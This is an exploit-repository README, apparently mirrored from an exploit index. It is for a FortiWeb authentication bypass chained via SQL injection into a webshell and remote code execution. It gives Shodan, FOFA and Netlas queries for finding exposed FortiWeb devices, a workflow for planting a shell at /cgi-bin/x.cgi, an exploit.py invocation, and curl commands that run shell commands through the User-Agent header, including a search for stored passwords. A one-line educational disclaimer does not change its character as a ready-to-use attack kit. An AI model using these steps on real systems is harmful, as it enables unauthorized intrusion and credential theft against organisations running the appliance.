## https://sploitus.com/exploit?id=4AF57A84-FBF5-57A9-922F-6EA64B88DB59
# π¨ FortiWeb Authentication Bypass β Remote Code Execution
## π Overview
This repository demonstrates an **authentication bypass in FortiWeb** that can be chained to achieve **Remote Code Execution (RCE)**.
The exploit leverages a vulnerable endpoint to inject SQL payloads, upload a webshell, and execute commands through HTTP headers.
β οΈ **Disclaimer**:
This project is for **educational and research purposes only**.
Do **NOT** use against systems you donβt own or have explicit permission to test.
### Netlas FOFA and Shodan
```bash
((FortiWeb)) AND port:("8443")
### FOFA
title="FortiWeb" && port="8443"
### Shodan
ssl:"FortiWeb" port:8443
http.title:"FortiWeb" port:8443
```
## π Vulnerability Details
- **CVE**: CVE-2025-52970
- **Component**: FortiWeb Fabric API (`/api/fabric/device/status`)
- **Impact**: Authentication Bypass β SQL Injection β Webshell Upload β RCE
- **Vector**: Crafted `Authorization` header + SQL injection
-
## π§βπ» Exploit Workflow
1. Drop and create temporary SQL table.
2. Write webshell payload in chunks.
3. Export shell to `/cgi-bin/x.cgi`.
4. Upload helper Python script to trigger permissions.
5. Access webshell by sending commands via `User-Agent` header.
## βοΈ Usage
### 1οΈβ£ Clone Repo
```bash
git clone https://github.com/your-username/Fortinet-AuthBypass-Exploit.git
cd Fortinet-AuthBypass-Exploit
python3 exploit.py -t https://TARGET:8443/
```
3οΈβ£ Interact with Webshell
```bash
curl -ks -H 'User-Agent: id' https://TARGET:8443/cgi-bin/x.cgi
curl -ks -H 'User-Agent: whoami' https://TARGET:8443/cgi-bin/x.cgi
curl -ks -H 'User-Agent: uname -a' https://TARGET:8443/cgi-bin/x.cgi
curl -ks -H 'User-Agent: grep -ril pass /etc /conf /data 2>/dev/null' https://TARGET:8443/cgi-bin/x.cgi
```